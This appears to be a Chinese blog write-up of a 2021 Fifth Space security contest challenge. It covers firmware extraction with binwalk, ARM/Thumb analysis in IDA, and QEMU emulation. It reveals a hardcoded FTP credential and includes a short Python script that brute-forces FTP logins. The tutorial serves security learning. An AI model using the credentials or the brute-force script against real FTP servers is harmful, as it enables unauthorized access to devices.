2021第五空间智能安全大赛实战:FTP固件逆向分析与漏洞利用指南

1次阅读
没有评论

共计 1438 个字符,预计需要花费 4 分钟才能阅读完成。

image.webp

背景痛点

物联网设备固件逆向分析常常会遇到以下几个棘手问题:

2021 第五空间智能安全大赛实战:FTP 固件逆向分析与漏洞利用指南

  • 非标准文件系统:很多厂商会使用自定义的文件系统格式,导致常规工具无法直接解析
  • ARM 架构指令集混淆:嵌入式设备多采用 ARM 架构,其 Thumb 模式与 ARM 模式交替使用会增加反汇编难度
  • 符号信息缺失:固件通常 strip 掉了调试符号,函数识别全靠人工分析
  • 运行环境依赖:固件可能依赖特定硬件外设,在模拟环境中难以正常运行

技术方案

1. 固件提取与初步分析

首先使用 binwalk 对固件进行初步探查:

binwalk -Me target_firmware.bin

如果遇到常见的 SquashFS 文件系统损坏问题,可以尝试修复:

unsquashfs -d squashfs-root squashfs-file

2. IDA Pro 静态分析

在 IDA 中分析 ARM 架构二进制时要注意:

  1. 识别函数入口点后,按 Alt+G 将 T 设为 1 切换到 Thumb 模式
  2. 常见 ARM 指令特征:
  3. LDR R0, [R1]:从 R1 指向的内存加载数据到 R0
  4. BLX sub_1234:调用子函数
  5. CMP R0, #0:比较 R0 与 0
  6. 重点关注字符串引用,特别是 ”ftpuser” 等敏感字符串

3. QEMU 动态调试环境搭建

使用 qemu-arm 搭建模拟环境:

sudo apt install qemu-user-static
cp $(which qemu-arm-static) ./squashfs-root/
sudo chroot ./squashfs-root /qemu-arm-static /bin/sh

漏洞利用

ftpuser 弱密码发现过程

通过逆向分析,发现认证函数中存在硬编码凭证:

int auth_check(char *user, char *pass) {if(strcmp(user, "ftpuser")==0 && strcmp(pass, "password123")==0)
        return 1;
    return 0;
}

Python 自动化爆破脚本

import socket

def brute_ftp(ip):
    creds = [("ftpuser", "password123"), 
             ("ftpuser", "ftpuser"),
             ("ftpuser", "admin")]

    for user, pwd in creds:
        s = socket.socket()
        s.connect((ip, 21))
        s.recv(1024)

        s.send(f"USER {user}\r\n".encode())
        resp = s.recv(1024)

        s.send(f"PASS {pwd}\r\n".encode())
        resp = s.recv(1024)

        if "230" in resp.decode():
            print(f"Success! {user}:{pwd}")
            return
    print("Brute force failed")

避坑指南

  1. 损坏的 SquashFS 处理
  2. 尝试使用 -force 参数
  3. 手动修复文件头魔术字

  4. ARM 模式识别技巧

  5. Thumb 指令通常是 2 字节对齐
  6. 使用 IDA 的 Alt+G 切换模式
  7. 观察 BLX 指令的目标地址 LSB(1 表示 Thumb)

延伸思考

  1. 如何通过代码混淆增加固件逆向难度?
  2. 除了弱密码,还有哪些常见的嵌入式设备漏洞模式?
  3. 厂商应该如何设计安全的固件更新机制?

实战心得

这次逆向分析过程中,最大的收获是对 ARM 架构的 Thumb 模式有了更深入的理解。刚开始因为模式识别错误导致反汇编结果完全不可读,后来通过观察函数调用约定才找到正确分析方法。建议新手可以先用简单的 ARM 二进制练手,熟悉常见指令模式后再挑战复杂固件。

正文完
 0
评论(没有评论)